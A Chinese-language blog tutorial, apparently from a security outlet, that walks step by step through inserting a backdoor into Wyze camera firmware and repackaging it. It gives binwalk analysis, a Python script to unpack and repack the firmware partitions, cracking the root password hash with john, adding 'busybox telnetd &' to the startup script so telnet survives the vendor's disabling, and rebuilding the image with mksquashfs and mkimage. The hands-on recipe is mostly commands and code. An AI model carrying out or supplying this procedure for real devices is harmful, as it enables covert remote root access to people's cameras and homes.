物联网安全|手把手带你制作恶意固件

今天我们来分享一篇在摄像头固件中加入后门并重新打包的文章


今天我们选择的是一款Wyze摄像头,固件版本(demo_v2_4.9.5.36),后台回复<摄像头>获得下载地址

首先使用binwalk分析一下固件:

binwalk -t demo_v2_4.9.5.36.bin

分析1中的uImage信息,该引导程序告诉了我们很多关于固件的信息,例如架构MIPS、创建时间、系统类型还包括了CRC校验等等


根据第二部分中的uImage头信息,可以发现内核为Linux-3.10.14


第三部分为两个SquashFS文件系统,SquashFS是一种只读文件系统


第四部分是一个JFFS2文件系统


现在我们可以使用binwalk -e提取所有的文件,但是我们为了一会儿方便的打包,我们自己写个程序提取文件。

#!/usr/bin/env python3
import sys
class Firmwarepart: def __init__(self,name,offset,size): self.name = name self.offset = offset self.size = size
firmware_parts = [ Firmwarepart("uimage_header",0x0,0x40), Firmwarepart("uimage_kernel",0x40,0x200000), Firmwarepart("squashfs_1",0x200040,0x350000), Firmwarepart("squashfs_2",0x550040,0xa0000), Firmwarepart("jffs2",0x5F0040,11075648-0x5F0040)]
if sys.argv[1] == 'unpack': f = open(sys.argv[2],"rb") for part in firmware_parts: outfile = open(part.name,"wb") f.seek(part.offset,0) data = f.read(part.size) outfile.write(data) outfile.close() print(f"Wrote {part.name} - {hex(len(data))} bytes.")

运行

wyze_extractor.py unpack demo_v2_4.9.5.36.bin

提取后的文件如下图所示:

对于squashFS文件系统的提取,我们使用unsquashfs来实现:

unsquashfs -d squashfs_2_out squashfs_2

对于jffs2文件系统的提取,我们使用jefferson来实现:

jefferson -d jffs2_out jffs2

提取之后检查一下敏感信息,shadow文件如下:

使用john破解一下

现在我们知道了root的账号密码,如果开启了ssh服务,那我们就可以通过ssh登陆到主机。找一下系统启动项:

vi /etc/init.d/rcs

我们可以看到系统在启动时的确是启动了telnet服务,但是实际上telnet服务并未启动(通过扫描端口发现)。

我们在解包后的固件里直接搜索

grep -r telnet .

可以看到在iCamera文件里,telnet服务被禁用掉了。

事实上,该摄像头使用的telnet服务实际上为busybox中的telnet,所以我们可以将启动脚本中的telnet修改为:

busybox telnetd &

现在这个服务就不会被kill掉了,接下来我们要将这几个文件系统重新打包并生成固件。


我们使用unsquashfs查看一下原来的文件系统信息:

unsquashfs -s squashfs_1

接下来使用mksquashfs命令将更改后的新文件系统打包

mksquashfs squashfs_1_out/ squashfs_1_new -comp xz -b 131072

我们再将之前的程序加上一个打包功能,这样我们就可以把这两个squashfs文件系统和jffs2文件系统打包起来。

#!/usr/bin/env python3
import sys
class Firmwarepart: def __init__(self,name,offset,size): self.name = name self.offset = offset self.size = size
firmware_parts = [ Firmwarepart("uimage_header",0x0,0x40), Firmwarepart("uimage_kernel",0x40,0x200000), Firmwarepart("squashfs_1",0x200040,0x350000), Firmwarepart("squashfs_2",0x550040,0xa0000), Firmwarepart("jffs2",0x5F0040,11075648-0x5F0040)]
if sys.argv[1] == 'unpack': f = open(sys.argv[2],"rb") for part in firmware_parts: outfile = open(part.name,"wb") f.seek(part.offset,0) data = f.read(part.size) outfile.write(data) outfile.close() print(f"Wrote {part.name} - {hex(len(data))} bytes.")elif sys.argv[1] == 'pack': f = open(sys.argv[2],"wb") for part in firmware_parts[1:]: i = open(part.name,"rb") data = i.read() f.write(data) padding = (part.size - len(data)) print(f"Wrote {part.name} - {hex(len(data))} bytes.") print(f"Padding {hex(padding)}") f.write(b'\x00' * padding)

这样我们仅仅将文件系统打包,至于生成镜像的uImage header部分我们使用其他工具。先使用binwalk查看一下uImage_header:

着重关注以上几个部分,接下来使用mkimage来生成镜像:

mkimage -A MIPS -O linux -T firmware -C none -a 0 -e 0 -n jz_fw -d demo_backdoored.bin demo_images.bin

可以看到我们生成的镜像和之前几乎相同,因为没有实际的摄像头,此处就不对结果进行验证了。最终效果是摄像头启动后可开启telnetd服务,我们可以通过root账号密码管理摄像头。

参考链接:

https://www.youtube.com/watch?v=hV8W4o-Mu2o

点我留言


你点的每个赞,我都认真当成了喜欢

目录